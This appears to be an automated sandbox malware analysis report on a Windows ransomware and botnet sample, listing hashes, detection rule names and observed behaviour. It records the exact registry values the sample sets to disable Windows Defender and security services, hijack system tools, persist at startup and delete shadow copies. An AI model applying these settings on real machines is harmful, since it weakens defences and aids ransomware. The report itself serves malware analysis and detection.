Analysis
- max time kernel
150s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
17/05/2026, 02:28
Static task
static1
4 signatures
Behavioral task
behavioral1
Sample
2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
47 signatures
150 seconds
Behavioral task
behavioral2
Sample
2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe
Resource
win11-20260513-en
windows11-21h2-x64
46 signatures
150 seconds
General
- Target 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe
- Size 48KB
- Sample260517-cyd99afv8m
- SHA256 7fbba4b96ff111bad7a4f4320dd8e76f8d1f19b7e9d873293646fb74e4a45809
- MD5 f97820c4eac595be9ddae21f8f51813e
- SHA1 887c6cc801aca270c49d6795b6cc88893bc8dc24
- SHA512 d6339b2b48ed8df26d5dba4ade87030f242e977202de71e15ee9b7b754b166401741c9da9130769d1f692abdd6fe70ea6ae2a5cfc5dd0de095e3cab5769371cd
- SSDEEP 768:ShB/V87W8s+Nsdy8PXfrwJ4x//w4lC1XXGblfA02KFcK:SBe7pNsdtf7xQ4lEXGblf92ucK
- TLSH T1D223F50477F88151F2BF9ABA8DB186119B31B8979C22D78E06D505CE1AB2740CDA8F73
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/652-0-0x00000000006E0000-0x00000000006F2000-memory.dmp disable_win_def behavioral2/files/0x001100000002b99a-2351.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Detects command variations typically used by ransomware 2 IoCs
resource yara_rule behavioral2/memory/652-0-0x00000000006E0000-0x00000000006F2000-memory.dmp INDICATOR_SUSPICIOUS_GENRansomware behavioral2/files/0x001100000002b99a-2351.dat INDICATOR_SUSPICIOUS_GENRansomware - Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
resource yara_rule behavioral2/memory/652-0-0x00000000006E0000-0x00000000006F2000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender behavioral2/files/0x001100000002b99a-2351.dat INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2968 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 5772 netsh.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_178.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\sysupdate.exe 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File opened for modification C:\Windows\system32\sysupdate.exe 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe File created C:\Windows\system32\svchost.exe 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 3408 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of NtSetInformationThreadHideFromDebugger 51 IoCs
pid Process 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe 4688 chrome.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3740 sc.exe 3160 sc.exe 832 sc.exe 5096 sc.exe 3116 sc.exe 5696 sc.exe 4060 sc.exe 5024 sc.exe 4100 sc.exe 916 sc.exe 5828 sc.exe 4936 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 4376 chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 440 NETSTAT.EXE 5240 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 316 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4116 vssadmin.exe 1672 vssadmin.exe 5548 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000\Control Panel\Desktop\WallpaperStyle = "2" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134237553116790807" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000_Classes\.pdf\ = "PDFBotnet" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe\" \"%1\"" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000_Classes\ms-settings\shell\open 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000_Classes\ms-settings\shell\open\command 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000_Classes\ms-settings\shell 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000_Classes\ms-settings\shell\open\command\DelegateExecute 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000_Classes\ms-settings\shell\open\command 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000_Classes\ms-settings 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Key created 